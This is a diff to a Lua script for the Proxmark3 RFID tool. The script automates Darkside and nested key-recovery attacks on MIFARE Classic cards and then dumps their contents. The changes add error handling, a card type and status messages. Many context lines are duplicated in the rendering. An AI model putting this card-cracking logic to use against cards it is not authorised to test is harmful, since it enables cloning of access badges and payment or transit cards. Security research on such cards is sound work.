CHG: textual changes.

[proxmark3-svn] / client / scripts / mifare_autopwn.lua

diff --git a/client/scripts/mifare_autopwn.lua b/client/scripts/mifare_autopwn.lua
index 8d0d358fa72590936992ac147dff9cab4c55d015..eb93669c7cef8cbf55f65e6d2e0a78d4953c3cdf 100644 (file)
--- a/client/scripts/mifare_autopwn.lua
+++ b/client/scripts/mifare_autopwn.lua
@@ -4,8 +4,6 @@ local cmds = require('commands')
 
 example = "script run mifare_autopwn"
 author = "Martin Holst Swende"
 
 example = "script run mifare_autopwn"
 author = "Martin Holst Swende"

-
-

 desc =
 [[
 This is a which automates cracking and dumping mifare classic cards. It sets itself into 
 desc =
 [[
 This is a which automates cracking and dumping mifare classic cards. It sets itself into 


@@ -28,6 +26,8 @@ Output files from this operation:
 -- Some utilities 
 -------------------------------
 local DEBUG = false
 -- Some utilities 
 -------------------------------
 local DEBUG = false

+local MIFARE_AUTH_KEYA = 0x60
+local MIFARE_AUTH_KEYB = 0x61

 --- 
 -- A debug printout-function
 function dbg(args)
 --- 
 -- A debug printout-function
 function dbg(args)


@@ -66,7 +66,7 @@ end
 function mfcrack()
        core.clearCommandBuffer()
        -- Build the mifare-command
 function mfcrack()
        core.clearCommandBuffer()
        -- Build the mifare-command

-       local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
+       local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1, arg2 = 0, arg3 = MIFARE_AUTH_KEYA}

        
        local retry = true
        while retry do
        
        local retry = true
        while retry do


@@ -78,20 +78,44 @@ function mfcrack()
                if errormessage then return nil, errormessage end
                -- Try again..set arg1 to 0 this time. 
 
                if errormessage then return nil, errormessage end
                -- Try again..set arg1 to 0 this time. 
 

-               cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
+               cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0, arg2 = 0, arg3 = MIFARE_AUTH_KEYA}

        end     
        return nil, "Aborted by user"
 end
 
        end     
        return nil, "Aborted by user"
 end
 

-

 function mfcrack_inner()
        while not core.ukbhit() do              
                local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
                if result then
 function mfcrack_inner()
        while not core.ukbhit() do              
                local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
                if result then

-                       -- Unpacking the three arg-parameters
-                       local count,cmd,isOK = bin.unpack('LL',result)

 
 

-                       if isOK ~= 1 then return nil, "Error occurred" end
+                       --[[
+                       I don't understand, they cmd and args are defined as uint32_t, however, 
+                       looking at the returned data, they all look like 64-bit things: 
+
+                       print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result))
+
+                       FF      00      00      00      00      00      00      00      <-- 64 bits of data
+                       FE      FF      FF      FF      00      00      00      00      <-- 64 bits of data
+                       00      00      00      00      00      00      00      00      <-- 64 bits of data
+                       00      00      00      00      00      00      00      00      <-- 64 bits of data
+                       04      7F      12      E2      00             <-- this is where 'data' starts
+
+                       So below I use LI to pick out the "FEFF FFFF", don't know why it works.. 
+                       --]]
+                       -- Unpacking the arg-parameters
+                       local count,cmd,isOK = bin.unpack('LI',result)
+                       --print("response", isOK)--FF FF FF FF
+                       if isOK == 0xFFFFFFFF then
+                               return nil, "Button pressed. Aborted."
+                       elseif isOK == 0xFFFFFFFE then
+                               return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
+                       elseif isOK == 0xFFFFFFFD then
+                               return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
+                       elseif isOK == 0xFFFFFFFC then
+                               return nil, "The card's random number generator behaves somewhat weird (Mifare clone?). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
+                       elseif isOK ~= 1 then 
+                               return nil, "Error occurred" 
+                       end

 
 
                        -- The data-part is left
 
 
                        -- The data-part is left


@@ -108,7 +132,7 @@ function mfcrack_inner()
                        local uid,nt,pl = get(4),get(4),get(8)
                        local ks,nr = get(8),get(4)
 
                        local uid,nt,pl = get(4),get(4),get(8)
                        local ks,nr = get(8),get(4)
 

-                       local status, key = core.nonce2key(uid,nt, nr, pl,ks)
+                       local status, key = core.nonce2key(uid, nt, nr, pl, ks)

                        if not status then return status,key end
 
                        if status > 0 then 
                        if not status then return status,key end
 
                        if status > 0 then 


@@ -133,6 +157,8 @@ function nested(key,sak)
                typ = 0
        elseif  0x10 == sak then-- "NXP MIFARE Plus 2k"
                typ = 2
                typ = 0
        elseif  0x10 == sak then-- "NXP MIFARE Plus 2k"
                typ = 2

+       elseif  0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
+               typ = 1

        else
                print("I don't know how many sectors there are on this type of card, defaulting to 16")
        end
        else
                print("I don't know how many sectors there are on this type of card, defaulting to 16")
        end


@@ -160,10 +186,9 @@ end
 -- The main entry point
 function main(args)
 
 -- The main entry point
 function main(args)
 

-

        local verbose, exit,res,uid,err,_,sak
        local seen_uids = {}
        local verbose, exit,res,uid,err,_,sak
        local seen_uids = {}

-
+       local print_message = true

        -- Read the parameters
        for o, a in getopt.getopt(args, 'hd') do
                if o == "h" then help() return end
        -- Read the parameters
        for o, a in getopt.getopt(args, 'hd') do
                if o == "h" then help() return end


@@ -171,6 +196,10 @@ function main(args)
        end
 
        while not exit do
        end
 
        while not exit do

+               if print_message then
+                       print("Waiting for card or press any key to stop")
+                       print_message = false
+               end

                res, err = wait_for_mifare()
                if err then return oops(err) end
                -- Seen already?
                res, err = wait_for_mifare()
                if err then return oops(err) end
                -- Seen already?


@@ -179,7 +208,7 @@ function main(args)
                if not seen_uids[uid] then
                        -- Store it
                        seen_uids[uid] = uid
                if not seen_uids[uid] then
                        -- Store it
                        seen_uids[uid] = uid

-                       print("Card found, commencing crack", uid)
+                       print("Card found, commencing crack on UID", uid)

                        -- Crack it
                        local key, cnt
                        res,err = mfcrack()
                        -- Crack it
                        local key, cnt
                        res,err = mfcrack()


@@ -190,12 +219,13 @@ function main(args)
                        -- two bytes, then six bytes actual key data
                        -- We can discard first and second return values
                        _,_,key = bin.unpack("H2H6",res)
                        -- two bytes, then six bytes actual key data
                        -- We can discard first and second return values
                        _,_,key = bin.unpack("H2H6",res)

-                       print("Key ", key)
+                       print("Found valid key: "..key);

 
                        -- Use nested attack
                        nested(key,sak)
                        -- Dump info
                        dump(uid)
 
                        -- Use nested attack
                        nested(key,sak)
                        -- Dump info
                        dump(uid)

+                       print_message = true

                end
        end
 end
                end
        end
 end